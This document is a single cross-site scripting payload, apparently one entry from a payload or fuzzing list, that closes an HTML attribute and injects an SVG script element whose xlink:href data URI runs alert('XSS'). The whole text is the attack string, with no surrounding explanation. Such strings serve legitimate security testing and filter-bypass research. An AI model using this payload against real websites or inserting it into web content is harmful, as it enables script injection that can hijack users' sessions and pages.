"><svg><script xlink:href=data:,alert('XSS')></script></svg>